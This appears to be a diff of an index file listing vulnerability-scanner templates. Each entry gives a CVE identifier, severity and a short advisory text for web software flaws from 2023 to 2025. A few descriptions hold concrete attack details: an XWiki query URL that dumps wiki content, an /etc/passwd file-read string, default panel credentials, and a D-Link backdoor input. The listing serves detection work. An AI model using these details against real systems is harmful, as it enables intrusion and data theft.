 {"ID":"CVE-2023-26842","Info":{"Name":"ChurchCRM 4.5.3 - Cross-Site Scripting","Severity":"medium","Description":"A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-26842.yaml"}
 {"ID":"CVE-2023-26843","Info":{"Name":"ChurchCRM 4.5.3 - Cross-Site Scripting","Severity":"medium","Description":"A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-26843.yaml"}
 {"ID":"CVE-2023-27008","Info":{"Name":"ATutor \u003c 2.2.1 - Cross Site Scripting","Severity":"medium","Description":"ATutor \u003c 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-27008.yaml"}
@@ -2494,6 +2510,7 @@
 {"ID":"CVE-2023-47253","Info":{"Name":"Qualitor \u003c= 8.20 - Remote Code Execution","Severity":"critical","Description":"Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-47253.yaml"}
 {"ID":"CVE-2023-47643","Info":{"Name":"SuiteCRM Unauthenticated Graphql Introspection","Severity":"medium","Description":"Graphql Introspection is enabled without authentication, exposing the scheme defining all object types, arguments, and functions.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-47643.yaml"}
 {"ID":"CVE-2023-47684","Info":{"Name":"Essential Grid \u003c= 3.1.0 - Cross-Site Scripting","Severity":"medium","Description":"Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin \u003c= 3.1.0 versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-47684.yaml"}
+{"ID":"CVE-2023-48022","Info":{"Name":"Anyscale Ray - Remote Code Execution","Severity":"critical","Description":"Anyscale Ray 2.6.3 and 2.8.0 contain a remote code execution vulnerability due to insecure job submission API, allowing attackers to execute arbitrary code remotely if they have network access to the Ray Dashboard API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-48022.yaml"}
 {"ID":"CVE-2023-48023","Info":{"Name":"Anyscale Ray 2.6.3 and 2.8.0 - Server-Side Request Forgery","Severity":"critical","Description":"The Ray Dashboard API is affected by a Server-Side Request Forgery (SSRF) vulnerability in the url parameter of the /log_proxy API endpoint. The API does not perform sufficient input validation within the affected parameter and any HTTP or HTTPS URLs are accepted as valid.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-48023.yaml"}
 {"ID":"CVE-2023-48084","Info":{"Name":"Nagios XI \u003c 5.11.3 - SQL Injection","Severity":"critical","Description":"SQL injection vulnerability in Nagios XI before version 5.11.3 via the bulk modification tool.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-48084.yaml"}
 {"ID":"CVE-2023-48241","Info":{"Name":"XWiki \u003c 4.10.15 - Information Disclosure","Severity":"high","Description":"The Solr-based search suggestion provider that also duplicates as generic JavaScript API for search results in XWiki exposes the content of all documents of all wikis to anybody who has access to it, by default it is public. This exposes all information stored in the wiki (but not some protected information like password hashes). While there is a right check normally, the right check can be circumvented by explicitly requesting fields from Solr that don't include the data for the right check. This can be reproduced by opening \u003cxwiki-server\u003e/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain\u0026media=json\u0026nb=1000\u0026query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__\u0026input=+ where \u003cxwiki-server\u003e is the URL of the XWiki installation. If this displays any results, the wiki is vulnerable.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-48241.yaml"}
@@ -2564,6 +2581,7 @@
 {"ID":"CVE-2023-6977","Info":{"Name":"Mlflow \u003c2.8.0 - Local File Inclusion","Severity":"high","Description":"Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-6977.yaml"}
 {"ID":"CVE-2023-6989","Info":{"Name":"Shield Security WP Plugin \u003c= 18.5.9 - Local File Inclusion","Severity":"critical","Description":"The Shield Security Smart Bot Blocking \u0026 Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-6989.yaml"}
 {"ID":"CVE-2023-7028","Info":{"Name":"GitLab - Account Takeover via Password Reset","Severity":"high","Description":"An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-7028.yaml"}
+{"ID":"CVE-2023-7116","Info":{"Name":"WeiYe-Jing datax-web \u003c= 2.1.2 - OS Command Injection","Severity":"medium","Description":"A vulnerability, which was classified as critical, has been found in WeiYe-Jing datax-web 2.1.2. Affected by this issue is some unknown functionality of the file /api/log/killJob of the component HTTP POST Request Handler. The manipulation of the argument processId leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249086 is the identifier assigned to this vulnerability.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2023/CVE-2023-7116.yaml"}
 {"ID":"CVE-2023-7246","Info":{"Name":"System Dashboard \u003c 2.8.10 - Cross-Site Scripting","Severity":"medium","Description":"The System Dashboard WordPress plugin before 2.8.10 does not sanitize and escape some parameters, which could allow administrators in multisite WordPress configurations to perform Cross-Site Scripting attacks through header injection, specifically in the X-Forwarded-For header.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-7246.yaml"}
 {"ID":"CVE-2024-0012","Info":{"Name":"PAN-OS Management Web Interface - Authentication Bypass","Severity":"critical","Description":"An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0012.yaml"}
 {"ID":"CVE-2024-0195","Info":{"Name":"SpiderFlow Crawler Platform - Remote Code Execution","Severity":"critical","Description":"A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0195.yaml"}
@@ -2727,6 +2745,7 @@
 {"ID":"CVE-2024-32399","Info":{"Name":"RaidenMAILD Mail Server v.4.9.4 - Path Traversal","Severity":"high","Description":"Directory Traversal vulnerability in RaidenMAILD Mail Server v.4.9.4 and before allows a remote attacker to obtain sensitive information via the /webeditor/ component.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32399.yaml"}
 {"ID":"CVE-2024-32640","Info":{"Name":"Mura/Masa CMS - SQL Injection","Severity":"critical","Description":"The Mura/Masa CMS is vulnerable to SQL Injection.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-32640.yaml"}
 {"ID":"CVE-2024-32709","Info":{"Name":"WP-Recall \u003c= 16.26.5 - SQL Injection","Severity":"critical","Description":"The WP-Recall Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 16.26.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-32709.yaml"}
+{"ID":"CVE-2024-3272","Info":{"Name":"D-Link Network Attached Storage - Backdoor Account","Severity":"critical","Description":"A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-3272.yaml"}
 {"ID":"CVE-2024-3273","Info":{"Name":"D-Link Network Attached Storage - Command Injection and Backdoor Account","Severity":"critical","Description":"UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-3273.yaml"}
 {"ID":"CVE-2024-32735","Info":{"Name":"CyberPower - Missing Authentication","Severity":"critical","Description":"An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-32735.yaml"}
 {"ID":"CVE-2024-32736","Info":{"Name":"CyberPower \u003c v2.8.3 - SQL Injection","Severity":"high","Description":"A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to .\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-32736.yaml"}
@@ -2739,7 +2758,6 @@
 {"ID":"CVE-2024-3300","Info":{"Name":"Delmia Apriso - Pre-Authentication Unsafe .NET Object Deserialization","Severity":"critical","Description":"An unsafe .NET object deserialization vulnerability in DELMIA Apriso Release 2019 through Release 2024 could lead to pre-authentication remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2024/CVE-2024-3300.yaml"}
 {"ID":"CVE-2024-33113","Info":{"Name":"D-LINK DIR-845L bsc_sms_inbox.php file - Information Disclosure","Severity":"medium","Description":"D-LINK DIR-845L \u003c=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-33113.yaml"}
 {"ID":"CVE-2024-33288","Info":{"Name":"Prison Management System - SQL Injection Authentication Bypass","Severity":"high","Description":"Sql injection vulnerability was found on the login page in Prison Management System\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-33288.yaml"}
-{"ID":"CVE-2024-33559","Info":{"Name":"WordPress XStore Theme - SQL Injection","Severity":"critical","Description":"SQL Injection vulnerability in the WordPress XStore Theme (CVE-2024-33559). This flaw allows remote unauthenticated attackers to execute arbitrary SQL queries via the 's' query parameter in a POST request.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-33559.yaml"}
 {"ID":"CVE-2024-33575","Info":{"Name":"User Meta WP Plugin \u003c 3.1 - Sensitive Information Exposure","Severity":"medium","Description":"The User Meta is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0 via the /views/debug.php file. This makes it possible for unauthenticated attackers, with to extract sensitive configuration data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-33575.yaml"}
 {"ID":"CVE-2024-33605","Info":{"Name":"Sharp Multifunction Printers - Directory Listing","Severity":"high","Description":"It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-33605.yaml"}
 {"ID":"CVE-2024-33610","Info":{"Name":"Sharp Multifunction Printers - Cookie Exposure","Severity":"medium","Description":"It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-33610.yaml"}
@@ -2766,6 +2784,7 @@
 {"ID":"CVE-2024-36683","Info":{"Name":"PrestaShop productsalert - SQL Injection","Severity":"critical","Description":"In the module 'Products Alert' (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36683.yaml"}
 {"ID":"CVE-2024-3673","Info":{"Name":"Web Directory Free \u003c 1.7.3 - Local File Inclusion","Severity":"critical","Description":"The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-3673.yaml"}
 {"ID":"CVE-2024-36837","Info":{"Name":"CRMEB v.5.2.2 - SQL Injection","Severity":"high","Description":"SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36837.yaml"}
+{"ID":"CVE-2024-36858","Info":{"Name":"Jan v0.4.12 - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36858.yaml"}
 {"ID":"CVE-2024-36991","Info":{"Name":"Splunk Enterprise - Local File Inclusion","Severity":"high","Description":"In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36991.yaml"}
 {"ID":"CVE-2024-37032","Info":{"Name":"Ollama - Remote Code Execution","Severity":"critical","Description":"Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37032.yaml"}
 {"ID":"CVE-2024-37152","Info":{"Name":"Argo CD Unauthenticated Access to sensitive setting","Severity":"medium","Description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The vulnerability allows unauthorized access to the sensitive settings exposed by /api/v1/settings endpoint without authentication. All sensitive settings are hidden except passwordPattern.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37152.yaml"}
@@ -2807,6 +2826,7 @@
 {"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
 {"ID":"CVE-2024-4295","Info":{"Name":"Email Subscribers by Icegram Express \u003c= 5.7.20 - Unauthenticated SQL Injection via Hash","Severity":"critical","Description":"Email Subscribers by Icegram Express \u003c= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-4295.yaml"}
 {"ID":"CVE-2024-43160","Info":{"Name":"BerqWP \u003c= 1.7.6 - Arbitrary File Upload","Severity":"critical","Description":"The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-43160.yaml"}
+{"ID":"CVE-2024-4325","Info":{"Name":"Gradio - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-4325.yaml"}
 {"ID":"CVE-2024-43360","Info":{"Name":"ZoneMinder - SQL Injection","Severity":"critical","Description":"ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder is affected by a time-based SQL Injection vulnerability. This vulnerability is fixed in 1.36.34 and 1.37.61.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-43360.yaml"}
 {"ID":"CVE-2024-43425","Info":{"Name":"Moodle - Remote Code Execution","Severity":"critical","Description":"Attackers with the permission to create or modify questions in Moodle courses are able to craft malicious inputs for calculated questions, which can be abused to execute arbitrary commands on the underlying system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-43425.yaml"}
 {"ID":"CVE-2024-4348","Info":{"Name":"osCommerce v4.0 - Cross-site Scripting","Severity":"medium","Description":"A vulnerability, which was classified as problematic, was found in osCommerce 4. Affected is an unknown function of the file /catalog/all-products. The manipulation of the argument cat leads to cross site scripting. It is possible to launch the attack remotely.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2024/CVE-2024-4348.yaml"}
@@ -2869,6 +2889,8 @@
 {"ID":"CVE-2024-51483","Info":{"Name":"Changedetection.io \u003c= 0.47.4 - Path Traversal","Severity":"medium","Description":"changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, `source-file-///etc/passwd` can be used to retrieve local system files, where the more traditional `file-///etc/passwd` gets blocked. Version 0.47.5 fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51483.yaml"}
 {"ID":"CVE-2024-51567","Info":{"Name":"CyberPanel v2.3.6 Pre-Auth Remote Code Execution","Severity":"critical","Description":"upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-51567.yaml"}
 {"ID":"CVE-2024-51739","Info":{"Name":"iTop - User Enumeration via REST Endpoint","Severity":"medium","Description":"From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-51739.yaml"}
+{"ID":"CVE-2024-51977","Info":{"Name":"Brother MFC-L9570CDW - Information Disclosure","Severity":"medium","Description":"An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51977.yaml"}
+{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.\nThe target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
 {"ID":"CVE-2024-5217","Info":{"Name":"ServiceNow - Incomplete Input Validation","Severity":"critical","Description":"ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5217.yaml"}
 {"ID":"CVE-2024-5230","Info":{"Name":"FleetCart 4.1.1 - Information Disclosure","Severity":"medium","Description":"Issues with information disclosure in redirect responses. Accessing the majority of the website's pages exposes sensitive data, including the \"Razorpay\" \"razorpayKeyId\".\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-5230.yaml"}
 {"ID":"CVE-2024-52433","Info":{"Name":"My Geo Posts Free \u003c= 1.2 - PHP Object Injection","Severity":"critical","Description":"The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-52433.yaml"}
@@ -2999,6 +3021,7 @@
 {"ID":"CVE-2024-9989","Info":{"Name":"Crypto \u003c= 2.15 - Authentication Bypass","Severity":"critical","Description":"The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.15. This is due a to limited arbitrary method call to 'crypto_connect_ajax_process::log_in' function in the 'crypto_connect_ajax_process' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9989.yaml"}
 {"ID":"CVE-2025-0107","Info":{"Name":"Palo Alto Networks Expedition - OS Command Injection","Severity":"critical","Description":"An OS command injection vulnerability in Palo Alto Networks Expedition enables an unauthenticated attacker to run arbitrary OS commands as the www-data user in Expedition, which results in the disclosure of usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0107.yaml"}
 {"ID":"CVE-2025-0108","Info":{"Name":"PAN-OS Management Interface - Path Confusion to Authentication Bypass","Severity":"critical","Description":"A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-0108.yaml"}
+{"ID":"CVE-2025-0133","Info":{"Name":"PAN-OS - Reflected Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link.The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0133.yaml"}
 {"ID":"CVE-2025-0674","Info":{"Name":"Elber ESE DVB-S/S2 - Authentication Bypass","Severity":"critical","Description":"Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0674.yaml"}
 {"ID":"CVE-2025-0868","Info":{"Name":"DocsGPT - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0868.yaml"}
 {"ID":"CVE-2025-1025","Info":{"Name":"Cockpit \u003c 2.4.1 - Arbitrary File Upload","Severity":"high","Description":"Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1025.yaml"}
@@ -3032,6 +3055,7 @@
 {"ID":"CVE-2025-26793","Info":{"Name":"FREEDOM Administration - Default Login","Severity":"critical","Description":"The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the \"vulnerable systems are not following manufacturers' recommendations to change the default password.\"\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-26793.yaml"}
 {"ID":"CVE-2025-27007","Info":{"Name":"OttoKit \u003c 1.0.83 - SureTriggers allows Privilege Escalation","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-27007.yaml"}
 {"ID":"CVE-2025-27112","Info":{"Name":"Navidrome \u003c=0.54.5 -  Authentication Bypass in Subsonic API","Severity":"medium","Description":"Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a \"permission denied\" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-27112.yaml"}
+{"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
 {"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
@@ -3045,6 +3069,7 @@
 {"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
